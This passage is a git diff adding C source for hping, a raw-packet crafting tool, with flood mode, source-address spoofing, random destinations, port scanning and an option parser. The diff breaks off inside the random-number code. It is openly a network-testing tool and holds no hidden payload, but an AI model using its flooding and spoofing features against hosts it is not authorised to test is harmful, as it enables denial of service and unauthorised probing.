else if (opt_udpmode) { + strcat(setflags, "udp mode"); + hdr_size = IPHDR_SIZE + UDPHDR_SIZE; + } else { + if (tcp_th_flags & TH_RST) strcat(setflags, "R"); + if (tcp_th_flags & TH_SYN) strcat(setflags, "S"); + if (tcp_th_flags & TH_ACK) strcat(setflags, "A"); + if (tcp_th_flags & TH_FIN) strcat(setflags, "F"); + if (tcp_th_flags & TH_PUSH) strcat(setflags, "P"); + if (tcp_th_flags & TH_URG) strcat(setflags, "U"); + if (tcp_th_flags & TH_X) strcat(setflags, "X"); + if (tcp_th_flags & TH_Y) strcat(setflags, "Y"); + if (setflags[0] == '\0') strcat(setflags, "NO FLAGS are"); + hdr_size = IPHDR_SIZE + TCPHDR_SIZE; + } + + if(opt_ipv6) + hdr_size += IP6HDR_SIZE - IPHDR_SIZE; + + printf("HPING %s (%s %s): %s set, %d headers + %d data bytes\n", + targetname, + ifname, + targetstraddr, + setflags, + hdr_size, + data_size); + + /* memory protection */ + if (opt_datafromfile || opt_sign) { + if (memlockall() == -1) { + perror("[main] memlockall()"); + fprintf(stderr, + "Warning: can't disable memory paging!\n"); + } else if (opt_verbose || opt_debug) { + printf("Memory paging disabled\n"); + } + } + + /* start packet sending */ + kill(getpid(), SIGALRM); + + /* flood mode? */ + if (opt_flood) { + fprintf(stderr, + "hping in flood mode, no replies will be shown\n"); + while (1) { + send_packet(0); + } + } + + /* main loop */ + while(1) + wait_packet(); + + return 0; +} diff --git a/memlock.c b/memlock.c new file mode 100644 index 0000000..6b17038 --- /dev/null +++ b/memlock.c @@ -0,0 +1,29 @@ +/* + * $smu-mark$ + * $name: memlock.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memlock(char *addr, size_t size) +{ +#ifdef _POSIX_MEMLOCK_RANGE + unsigned long page_offset, page_size; + + page_size = sysconf(_SC_PAGESIZE); /* also .. */ + page_offset = (unsigned long) addr % page_size; + + addr -= page_offset; + size += page_offset; + + return ( mlock(addr, size) ); +#endif + return (-1); +} + diff --git a/memlockall.c b/memlockall.c new file mode 100644 index 0000000..28a3abf --- /dev/null +++ b/memlockall.c @@ -0,0 +1,23 @@ +/* + * $smu-mark$ + * $name: memlockall.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memlockall(void) +{ +/* #ifdef _POSIX_MEMLOCK */ +/* NJ: better to test _POSIX_MEMLOCK value */ +#if _POSIX_MEMLOCK == 1 + return ( mlockall(MCL_CURRENT|MCL_FUTURE) ); +#endif + return (-1); +} + diff --git a/memstr.c b/memstr.c new file mode 100644 index 0000000..06d191a --- /dev/null +++ b/memstr.c @@ -0,0 +1,25 @@ +/* + * $smu-mark$ + * $name: memstr.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 4$ + */ + +#include +#include /* NULL macro */ + +char *memstr(char *haystack, char *needle, int size) +{ + char *p; + char needlesize = strlen(needle); + + for (p = haystack; p <= (haystack-needlesize+size); p++) + { + if (memcmp(p, needle, needlesize) == 0) + return p; /* found */ + } + return NULL; +} diff --git a/memunlock.c b/memunlock.c new file mode 100644 index 0000000..85abe85 --- /dev/null +++ b/memunlock.c @@ -0,0 +1,28 @@ +/* + * $smu-mark$ + * $name: memunlock.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memunlock(char *addr, size_t size) +{ +#ifdef _POSIX_MEMLOCK_RANGE + unsigned long page_offset, page_size; + + page_size = sysconf(_SC_PAGESIZE); + page_offset = (unsigned long) addr % page_size; + + addr -= page_offset; + size += page_offset; + + return ( munlock(addr, size) ); +#endif + return (-1); +} diff --git a/memunlockall.c b/memunlockall.c new file mode 100644 index 0000000..bace507 --- /dev/null +++ b/memunlockall.c @@ -0,0 +1,23 @@ +/* + * $smu-mark$ + * $name: memunlockall.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memunlockall(void) +{ +/* #ifdef _POSIX_MEMLOCK */ +/* NJ: better to test _POSIX_MEMLOCK value */ +#if _POSIX_MEMLOCK == 1 + return ( munlockall() ); +#endif + return(-1); +} + diff --git a/opensockraw.c b/opensockraw.c new file mode 100644 index 0000000..87c59c5 --- /dev/null +++ b/opensockraw.c @@ -0,0 +1,29 @@ +/* + * $smu-mark$ + * $name: opensockraw.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include /* IPPROTO_RAW def. */ +#include "hping2.h" +#include "globals.h" + +int open_sockraw() +{ + int s; + + s = socket(opt_af, SOCK_RAW, IPPROTO_RAW); + if (s == -1) { + perror("[open_sockraw] socket()"); + return -1; + } + + return s; +} diff --git a/parseoptions.c b/parseoptions.c new file mode 100644 index 0000000..333ab63 --- /dev/null +++ b/parseoptions.c @@ -0,0 +1,719 @@ +/* parseoptions.c -- options handling + * Copyright(C) 1999-2001 Salvatore Sanfilippo + * Under GPL, see the COPYING file for more information about + * the license. */ + +/* $Id: parseoptions.c,v 1.25 2003/08/08 14:39:00 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "antigetopt.h" + +#include "hping2.h" +#include "globals.h" + +enum { OPT_COUNT, OPT_INTERVAL, OPT_NUMERIC, OPT_QUIET, OPT_INTERFACE, + OPT_HELP, OPT_VERSION, OPT_DESTPORT, OPT_BASEPORT, OPT_TTL, OPT_ID, + OPT_WIN, OPT_SPOOF, OPT_FIN, OPT_SYN, OPT_RST, OPT_PUSH, OPT_ACK, + OPT_URG, OPT_XMAS, OPT_YMAS, OPT_FRAG, OPT_MOREFRAG, OPT_DONTFRAG, + OPT_FRAGOFF, OPT_TCPOFF, OPT_REL, OPT_DATA, OPT_RAWIP, OPT_ICMP, + OPT_UDP, OPT_BIND, OPT_UNBIND, OPT_DEBUG, OPT_VERBOSE, OPT_WINID, + OPT_KEEP, OPT_FILE, OPT_DUMP, OPT_PRINT, OPT_SIGN, OPT_LISTEN, + OPT_SAFE, OPT_TRACEROUTE, OPT_TOS, OPT_MTU, OPT_SEQNUM, OPT_BADCKSUM, + OPT_SETSEQ, OPT_SETACK, OPT_ICMPTYPE, OPT_ICMPCODE, OPT_END, + OPT_RROUTE, OPT_IPPROTO, OPT_ICMP_IPVER, OPT_ICMP_IPHLEN, + OPT_ICMP_IPLEN, OPT_ICMP_IPID, OPT_ICMP_IPPROTO, OPT_ICMP_CKSUM, + OPT_ICMP_TS, OPT_ICMP_ADDR, OPT_TCPEXITCODE, OPT_FAST, OPT_TR_KEEP_TTL, + OPT_TCP_TIMESTAMP, OPT_TR_STOP, OPT_TR_NO_RTT, OPT_ICMP_HELP, + OPT_RAND_DEST, OPT_RAND_SOURCE, OPT_LSRR, OPT_SSRR, OPT_ROUTE_HELP, + OPT_ICMP_IPSRC, OPT_ICMP_IPDST, OPT_ICMP_SRCPORT, OPT_ICMP_DSTPORT, + OPT_ICMP_GW, OPT_FORCE_ICMP, OPT_APD_SEND, OPT_SCAN, OPT_FASTER, + OPT_BPS, OPT_PPS, OPT_IPV6, OPT_LHS ,OPT_FLOOD }; + +static struct ago_optlist hping_optlist[] = { + { 'c', "count", OPT_COUNT, AGO_NEEDARG }, + { 'i', "interval", OPT_INTERVAL, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'n', "numeric", OPT_NUMERIC, AGO_NOARG }, + { 'q', "quiet", OPT_QUIET, AGO_NOARG }, + { 'I', "interface", OPT_INTERFACE, AGO_NEEDARG }, + { 'h', "help", OPT_HELP, AGO_NOARG }, + { 'v', "version", OPT_VERSION, AGO_NOARG }, + { 'p', "destport", OPT_DESTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { 's', "baseport", OPT_BASEPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { 't', "ttl", OPT_TTL, AGO_NEEDARG }, + { 'N', "id", OPT_ID, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'w', "win", OPT_WIN, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'a', "spoof", OPT_SPOOF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'F', "fin", OPT_FIN, AGO_NOARG|AGO_EXCEPT0 }, + { 'S', "syn", OPT_SYN, AGO_NOARG|AGO_EXCEPT0 }, + { 'R', "rst", OPT_RST, AGO_NOARG|AGO_EXCEPT0 }, + { 'P', "push", OPT_PUSH, AGO_NOARG|AGO_EXCEPT0 }, + { 'A', "ack", OPT_ACK, AGO_NOARG|AGO_EXCEPT0 }, + { 'U', "urg", OPT_URG, AGO_NOARG|AGO_EXCEPT0 }, + { 'X', "xmas", OPT_XMAS, AGO_NOARG|AGO_EXCEPT0 }, + { 'Y', "ymas", OPT_YMAS, AGO_NOARG|AGO_EXCEPT0 }, + { 'f', "frag", OPT_FRAG, AGO_NOARG|AGO_EXCEPT0 }, + { 'x', "morefrag", OPT_MOREFRAG, AGO_NOARG|AGO_EXCEPT0 }, + { 'y', "dontfrag", OPT_DONTFRAG, AGO_NOARG }, + { 'g', "fragoff", OPT_FRAGOFF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'O', "tcpoff", OPT_TCPOFF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'r', "rel", OPT_REL, AGO_NOARG }, + { 'd', "data", OPT_DATA, AGO_NEEDARG|AGO_EXCEPT0 }, + { '0', "rawip", OPT_RAWIP, AGO_NOARG|AGO_EXCEPT0 }, + { '1', "icmp", OPT_ICMP, AGO_NOARG }, + { '2', "udp", OPT_UDP, AGO_NOARG }, + { '8', "scan", OPT_SCAN, AGO_NEEDARG }, + { 'z', "bind", OPT_BIND, AGO_NOARG }, + { 'Z', "unbind", OPT_UNBIND, AGO_NOARG }, + { 'D', "debug", OPT_DEBUG, AGO_NOARG }, + { 'V', "verbose", OPT_VERBOSE, AGO_NOARG }, + { 'W', "winid", OPT_WINID, AGO_NOARG }, + { 'k', "keep", OPT_KEEP, AGO_NOARG }, + { 'E', "file", OPT_FILE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'j', "dump", OPT_DUMP, AGO_NOARG|AGO_EXCEPT0 }, + { 'J', "print", OPT_PRINT, AGO_NOARG|AGO_EXCEPT0 }, + { 'e', "sign", OPT_SIGN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '9', "listen", OPT_LISTEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'B', "safe", OPT_SAFE, AGO_NOARG|AGO_EXCEPT0 }, + { 'T', "traceroute", OPT_TRACEROUTE, AGO_NOARG }, + { 'o', "tos", OPT_TOS, AGO_NEEDARG }, + { 'm', "mtu", OPT_MTU, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'Q', "seqnum", OPT_SEQNUM, AGO_NOARG|AGO_EXCEPT0 }, + { 'b', "badcksum", OPT_BADCKSUM, AGO_NOARG|AGO_EXCEPT0 }, + { 'M', "setseq", OPT_SETSEQ, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'L', "setack", OPT_SETACK, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'C', "icmptype", OPT_ICMPTYPE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'K', "icmpcode", OPT_ICMPCODE, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'u', "end", OPT_END, AGO_NOARG|AGO_EXCEPT0 }, + { 'G', "rroute", OPT_RROUTE, AGO_NOARG }, + { 'H', "ipproto", OPT_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-help", OPT_ICMP_HELP, AGO_NOARG }, + { '\0', "icmp-ipver", OPT_ICMP_IPVER, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-iphlen", OPT_ICMP_IPHLEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-iplen", OPT_ICMP_IPLEN, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipid", OPT_ICMP_IPID, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipproto", OPT_ICMP_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-cksum", OPT_ICMP_CKSUM, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ts", OPT_ICMP_TS, AGO_NOARG }, + { '\0', "icmp-addr", OPT_ICMP_ADDR, AGO_NOARG }, + { '\0', "tcpexitcode", OPT_TCPEXITCODE, AGO_NOARG }, + { '\0', "fast", OPT_FAST, AGO_NOARG|AGO_EXCEPT0 }, + { '\0', "faster", OPT_FASTER, AGO_NOARG|AGO_EXCEPT0 }, + { '\0', "tr-keep-ttl", OPT_TR_KEEP_TTL, AGO_NOARG }, + { '\0', "tcp-timestamp",OPT_TCP_TIMESTAMP, AGO_NOARG }, + { '\0', "tr-stop", OPT_TR_STOP, AGO_NOARG }, + { '\0', "tr-no-rtt", OPT_TR_NO_RTT, AGO_NOARG }, + { '\0', "rand-dest", OPT_RAND_DEST, AGO_NOARG }, + { '\0', "rand-source", OPT_RAND_SOURCE, AGO_NOARG }, + { '\0', "lsrr", OPT_LSRR, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "ssrr", OPT_SSRR, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "route-help", OPT_ROUTE_HELP, AGO_NOARG }, + { '\0', "apd-send", OPT_APD_SEND, AGO_NEEDARG }, + { '\0', "icmp-ipsrc", OPT_ICMP_IPSRC, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-ipdst", OPT_ICMP_IPDST, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-gw", OPT_ICMP_GW, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-srcport", OPT_ICMP_SRCPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "icmp-dstport", OPT_ICMP_DSTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { '\0', "force-icmp", OPT_FORCE_ICMP, AGO_NOARG }, + { '\0', "bps", OPT_BPS, AGO_NEEDARG }, + { '\0', "pps", OPT_PPS, AGO_NEEDARG }, + { '6', "ipv6", OPT_IPV6, AGO_NOARG }, + { '\0', "lhs", OPT_LHS, AGO_NEEDARG }, + { '\0', "flood", OPT_FLOOD, AGO_NOARG }, + AGO_LIST_TERM +}; + +/* The following var is turned to 1 if the -i option is used. + * This allows to assign a different delay default value if + * the scanning mode is selected. */ +static int delay_changed = 0; + +static int suidtester(void) +{ + return (getuid() != geteuid()); +} + +void fail_parse_route(void) +{ + fprintf(stderr, "RECTUM\n"); + exit(1); +} + +void parse_route(unsigned char *route, unsigned int *route_len, char *str) +{ + struct in_addr ip; + unsigned int i = 0; + unsigned int j; + unsigned int n = 0; + unsigned int route_ptr = 256; + char c; + + route += 3; + while (str[i] != '\0') + { + for (j = i; isalnum(str[j]) || str[j] == '.'; j++); + switch(c = str[j]) + { + case '\0': + case '/': + if (n >= 62) + { + fprintf(stderr, "too long route\n"); + fail_parse_route(); + } + str[j] = '\0'; + if (inet_aton(str+i, &ip)) + { + memcpy(route+4*n, &ip.s_addr, 4); + n++; + if (c == '/') + str[j++] = '/'; + break; + } + fprintf(stderr, "invalid IP adress in route\n"); + fail_parse_route(); + case ':': + if ((!i) && j && j < 4) + { + sscanf(str, "%u:%n", &route_ptr, &i); + if (i == ++j) + { + if (route_ptr < 256) + break; + } + } + default: + fail_parse_route(); + } + i = j; + } + if (route_ptr == 256) + route[-1] = (unsigned char) ( n ? 8 : 4 ); + else + route[-1] = (unsigned char) route_ptr; + *route_len = 4*n + 3; + route[-2] = (unsigned char) *route_len; +} + +int parse_options(int argc, char **argv) +{ + int src_ttl_set = 0; + int targethost_set = 0; + int o; + char *mult; + int typeset = 0; + + if (argc < 2) + return -1; + + ago_set_exception(0, suidtester, "Option disabled when setuid"); + + while ((o = antigetopt(argc, argv, hping_optlist)) != AGO_EOF) { + switch(o) { + case AGO_UNKNOWN: + case AGO_REQARG: + case AGO_AMBIG: + ago_gnu_error("hping", o); + fprintf(stderr, "Try hping --help\n"); + exit(1); + case AGO_ALONE: + if (targethost_set == 1) { + fprintf(stderr, "hping: you must specify only " + "one target host at a time\n"); + exit(1); + } else { + strlcpy(targetname, ago_optarg, 1024); + targethost_set = 1; + } + break; + case OPT_COUNT: + count = strtol(ago_optarg, NULL, 0); + break; + case OPT_INTERVAL: + delay_changed = 1; + if (*ago_optarg == 'u') { + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = + atol(ago_optarg+1); + } + else + sending_wait = strtol(ago_optarg, NULL, 0); + break; + case OPT_NUMERIC: + opt_numeric = TRUE; + break; + case OPT_QUIET: + opt_quiet = TRUE; + break; + case OPT_INTERFACE: + strlcpy (ifname, ago_optarg, 1024); + break; + case OPT_HELP: + show_usage(); + break; + case OPT_VERSION: + show_version(); + break; + case OPT_DESTPORT: + if (*ago_optarg == '+') + { + opt_incdport = TRUE; + ago_optarg++; + } + if (*ago_optarg == '+') + { + opt_force_incdport = TRUE; + ago_optarg++; + } + base_dst_port = dst_port = strtol(ago_optarg, NULL, 0); + break; + case OPT_BASEPORT: + initsport = strtol(ago_optarg, NULL, 0); + break; + case OPT_TTL: + src_ttl = strtol(ago_optarg, NULL, 0); + src_ttl_set = 1; + break; + case OPT_ID: + src_id = strtol(ago_optarg, NULL, 0); + break; + case OPT_WIN: + src_winsize = strtol(ago_optarg, NULL, 0); + break; + case OPT_SPOOF: + strlcpy (spoofaddr, ago_optarg, 1024); + break; + case OPT_FIN: + tcp_th_flags |= TH_FIN; + break; + case OPT_SYN: + tcp_th_flags |= TH_SYN; + break; + case OPT_RST: + tcp_th_flags |= TH_RST; + break; + case OPT_PUSH: + tcp_th_flags |= TH_PUSH; + break; + case OPT_ACK: + tcp_th_flags |= TH_ACK; + break; + case OPT_URG: + tcp_th_flags |= TH_URG; + break; + case OPT_XMAS: + tcp_th_flags |= TH_X; + break; + case OPT_YMAS: + tcp_th_flags |= TH_Y; + break; + case OPT_FRAG: + opt_fragment = TRUE; + break; + case OPT_MOREFRAG: + opt_mf = TRUE; + break; + case OPT_DONTFRAG: + opt_df = TRUE; + break; + case OPT_FRAGOFF: + ip_frag_offset = strtol(ago_optarg, NULL, 0); + break; + case OPT_TCPOFF: + src_thoff = strtol(ago_optarg, NULL, 0); + break; + case OPT_REL: + opt_relid = TRUE; + break; + case OPT_DATA: + data_size = strtol(ago_optarg, NULL, 0); + break; + case OPT_RAWIP: + opt_rawipmode = TRUE; + break; + case OPT_ICMP: + opt_icmpmode = TRUE; + break; + case OPT_ICMP_TS: + opt_icmpmode = TRUE; + opt_icmptype = 13; + break; + case OPT_ICMP_ADDR: + opt_icmpmode = TRUE; + opt_icmptype = 17; + break; + case OPT_UDP: + opt_udpmode = TRUE; + break; + case OPT_SCAN: + opt_scanmode = TRUE; + opt_scanports = strdup(ago_optarg); + break; + case OPT_LISTEN: + opt_listenmode = TRUE; + strlcpy(sign, ago_optarg, 1024); + signlen = strlen(ago_optarg); + break; + case OPT_IPPROTO: + raw_ip_protocol = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMPTYPE: + opt_icmpmode= TRUE; + opt_icmptype = strtol(ago_optarg, NULL, 0); + typeset = 1; + break; + case OPT_ICMPCODE: + opt_icmpmode= TRUE; + opt_icmpcode = strtol(ago_optarg, NULL, 0); + break; + case OPT_BIND: + ctrlzbind = BIND_TTL; + break; + case OPT_UNBIND: + ctrlzbind = BIND_NONE; + break; + case OPT_DEBUG: + opt_debug = TRUE; + break; + case OPT_VERBOSE: + opt_verbose = TRUE; + break; + case OPT_WINID: + opt_winid_order = TRUE; + break; + case OPT_KEEP: + opt_keepstill = TRUE; + break; + case OPT_FILE: + opt_datafromfile = TRUE; + strlcpy(datafilename, ago_optarg, 1024); + break; + case OPT_DUMP: + opt_hexdump = TRUE; + break; + case OPT_PRINT: + opt_contdump = TRUE; + break; + case OPT_SIGN: + opt_sign = TRUE; + strlcpy(sign, ago_optarg, 1024); + signlen = strlen(ago_optarg); + break; + case OPT_SAFE: + opt_safe = TRUE; + break; + case OPT_END: + opt_end = TRUE; + break; + case OPT_TRACEROUTE: + opt_traceroute = TRUE; + break; + case OPT_TOS: + if (!strcmp(ago_optarg, "help")) + tos_help(); + else + { + static unsigned int tos_tmp = 0; + + sscanf(ago_optarg, "%2x", &tos_tmp); + ip_tos |= tos_tmp; /* OR tos */ + } + break; + case OPT_MTU: + virtual_mtu = strtol(ago_optarg, NULL, 0); + opt_fragment = TRUE; + if(virtual_mtu > 65535) { + virtual_mtu = 65535; + printf("Specified MTU too high, " + "fixed to 65535.\n"); + } + break; + case OPT_SEQNUM: + opt_seqnum = TRUE; + break; + case OPT_BADCKSUM: + opt_badcksum = TRUE; + break; + case OPT_SETSEQ: + set_seqnum = TRUE; + tcp_seqnum = strtoul(ago_optarg, NULL, 0); + break; + case OPT_SETACK: + set_ack = TRUE; + tcp_ack = strtoul(ago_optarg, NULL, 0); + break; + case OPT_RROUTE: + opt_rroute = TRUE; + break; + case OPT_ICMP_HELP: + icmp_help(); /* ICMP options help */ + break; + case OPT_ICMP_IPVER: + icmp_ip_version = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPHLEN: + icmp_ip_ihl = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPLEN: + icmp_ip_tot_len = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPID: + icmp_ip_id = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPPROTO: + icmp_ip_protocol = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_IPSRC: + strlcpy (icmp_ip_srcip, ago_optarg, 1024); + break; + case OPT_ICMP_IPDST: + strlcpy (icmp_ip_dstip, ago_optarg, 1024); + break; + case OPT_ICMP_GW: + strlcpy (icmp_gwip, ago_optarg, 1024); + break; + case OPT_ICMP_SRCPORT: + icmp_ip_srcport = strtol(ago_optarg, NULL, 0); + break; + case OPT_ICMP_DSTPORT: + icmp_ip_dstport = strtol(ago_optarg, NULL, 0); + break; + case OPT_FORCE_ICMP: + opt_force_icmp = TRUE; + break; + case OPT_ICMP_CKSUM: + icmp_cksum = strtol(ago_optarg, NULL, 0); + break; + case OPT_TCPEXITCODE: + opt_tcpexitcode = TRUE; + break; + case OPT_FAST: + delay_changed = 1; + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 100000; + break; + case OPT_FASTER: + delay_changed = 1; + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 1; + case OPT_TR_KEEP_TTL: + opt_tr_keep_ttl = TRUE; + break; + case OPT_TCP_TIMESTAMP: + opt_tcp_timestamp = TRUE; + break; + case OPT_TR_STOP: + opt_tr_stop = TRUE; + break; + case OPT_TR_NO_RTT: + opt_tr_no_rtt = TRUE; + break; + case OPT_RAND_DEST: + opt_rand_dest = TRUE; + break; + case OPT_RAND_SOURCE: + opt_rand_source = TRUE; + break; + case OPT_LSRR: + opt_lsrr = TRUE; + parse_route(lsr, &lsr_length, ago_optarg); + if (lsr[0]) + printf("Warning: erasing previously given " + "loose source route"); + lsr[0] = 131; + break; + case OPT_SSRR: + opt_ssrr = TRUE; + parse_route(ssr, &ssr_length, ago_optarg); + if (ssr[0]) + printf("Warning: erasing previously given " + "strong source route"); + ssr[0] = 137; + break; + case OPT_ROUTE_HELP: + route_help(); + break; + case OPT_APD_SEND: + hping_ars_send(ago_optarg); + break; + case OPT_FLOOD: + opt_flood = TRUE; + break; + case OPT_BPS: + opt_bps = strtol(ago_optarg, &mult, 0); + switch(*mult) + { + case 'k': + case 'K': + opt_bps *= 1000; + break; + case 'm': + case 'M': + opt_bps *= 1000000; + break; + case 'g': + case 'G': + opt_bps *= 1000000000; + break; + case 0: + break; + default: + printf("invalid character in --bps argument: `%c'\n", *mult); + exit(1); + } + opt_bps /= 8; + break; + case OPT_PPS: + opt_pps = strtol(ago_optarg, &mult, 0); + switch(*mult) + { + case 'k': + case 'K': + opt_pps *= 1000; + break; + case 'm': + case 'M': + opt_pps *= 1000000; + break; + case 'g': + case 'G': + opt_bps *= 1000000000; + break; + case 0: + break; + default: + printf("invalid character in --pps argument: `%c'\n", *mult); + exit(1); + } + break; + case OPT_IPV6: + opt_ipv6 = TRUE; + opt_af = AF_INET6; + break; + case OPT_LHS: + linkhdr_size = atoi(ago_optarg); + break; + } + } + + if(typeset == 0 && opt_icmptype == DEFAULT_ICMP_TYPE && opt_ipv6 == 1) + opt_icmptype = ICMP6_ECHO; + + /* missing target host? */ + if (targethost_set == 0 && opt_listenmode && opt_safe) + { + printf( + "you must specify a target host if you require safe protocol\n" + "because hping needs a target for HCMP packets\n"); + exit(1); + } + + if (targethost_set == 0 && !opt_listenmode) return -1; + + if (opt_numeric == TRUE) opt_gethost = FALSE; + + /* some error condition */ + if (data_size+IPHDR_SIZE+TCPHDR_SIZE > 65535) { + printf("Option error: sorry, data size must be <= %lu\n", + (unsigned long)(65535-IPHDR_SIZE+TCPHDR_SIZE)); + exit(1); + } + else if (count <= 0 && count != -1) { + printf("Option error: count must > 0\n"); + exit(1); + } + else if (sending_wait < 0) { + printf("Option error: bad timing interval\n"); + exit(1); + } + else if (opt_waitinusec == TRUE && usec_delay.it_value.tv_usec < 0) + { + printf("Option error: bad timing interval\n"); + exit(1); + } + else if (opt_datafromfile == TRUE && data_size == 0) + { + printf("Option error: -E option useless without -d\n"); + exit(1); + } + else if (opt_sign && data_size && signlen > data_size) + { + printf( + "Option error: signature (%d bytes) is larger than data size\n" + "check -d option, don't specify -d to let hping compute it\n", signlen); + exit(1); + } + else if ((opt_sign || opt_listenmode) && signlen > 1024) + { + printf("Option error: signature too big\n"); + exit(1); + } + else if (opt_safe == TRUE && src_id != -1) + { + printf("Option error: sorry, you can't set id and " + "use safe protocol at some time\n"); + exit(1); + } + else if (opt_safe == TRUE && opt_datafromfile == FALSE && + opt_listenmode == FALSE) + { + printf("Option error: sorry, safe protocol is useless " + "without 'data from file' option\n"); + exit(1); + } + else if (opt_safe == TRUE && opt_sign == FALSE && + opt_listenmode == FALSE) + { + printf("Option error: sorry, safe protocol require you " + "sign your packets, see --sign | -e option\n"); + exit(1); + } else if (opt_rand_dest == TRUE && ifname[0] == '\0') { + printf("Option error: you need to specify an interface " + "when the --rand-dest option is enabled\n"); + exit(1); + } + + /* dependences */ + if (opt_safe == TRUE) + src_id = 1; + + if (opt_traceroute == TRUE && ctrlzbind == BIND_DPORT) + ctrlzbind = BIND_TTL; + + if (opt_traceroute == TRUE && src_ttl_set == 0) + src_ttl = DEFAULT_TRACEROUTE_TTL; + + /* set the data size to the signature len if the no data size + * was specified */ + if (opt_sign && !data_size) + data_size = signlen; + + /* If scan mode is on, and the -i option was not used, + * set the default delay to zero, that's send packets + * as fast as possible. */ + if (opt_scanmode && !delay_changed) { + opt_waitinusec = TRUE; + usec_delay.it_value.tv_sec = + usec_delay.it_interval.tv_sec = 0; + usec_delay.it_value.tv_usec = + usec_delay.it_interval.tv_usec = 0; + } + + return 1; +} diff --git a/random.c b/random.c new file mode 100644 index 0000000..608998d --- /dev/null +++ b/random.c @@ -0,0 +1,81 @@ +/* rc4-based pseudo-random number generator for hping. + * Copyright (C) 2003 Salvatore Sanfilippo + * This software is released under the GPL license + * All rights reserved */ + +#include +#include +#include +#include +#include +#include + +u_int32_t hp_rand(void); + +/* The rc4 sbox */ +static unsigned char rc4_sbox[256]; +/* This flags is used to initialize the sbox the first time, + * without an explicit intialization step outside this file. */ +static int rc4_seedflag = 0; + +/* Initialize the sbox with pseudo random data */ +static void hp_rand_init(void) +{ + int i, fd; + + /* Strong sbox initialization */ + fd = open("/dev/urandom", O_RDONLY); + if (fd != -1) { + read(fd, rc4_sbox, 256); + close(fd); + } + /* Weaker sbox initialization */ + for (i = 0; i < 256; i++) { + struct timeval tv; + gettimeofday(&tv, NULL); + if (i&1) + rc4_sbox[i] ^= (tv.tv_usec >> (i&0xF)) & 0xFF; + else + rc4_sbox[i] ^= (tv.tv_sec >> (i&0xF)) & 0xFF; + } + rc4_seedflag = 1; +} + +#if 0 +/* Re-seed the generator with user-provided bytes. Not used for now. */ +static void hp_rand_seed(void *seed, size_t len) +{ + int i; + + if (len > 256) len = 256; + memcpy(rc4_sbox, seed, len); + /* discard the first 256 bytes of output after the reseed */ + for (i = 0; i < 32; i++) + (void) hp_rand(); +} +#endif + +/* Generates a 32bit random number using an RC4-like algorithm */ +u_int32_t hp_rand(void) +{ + u_int32_t r = 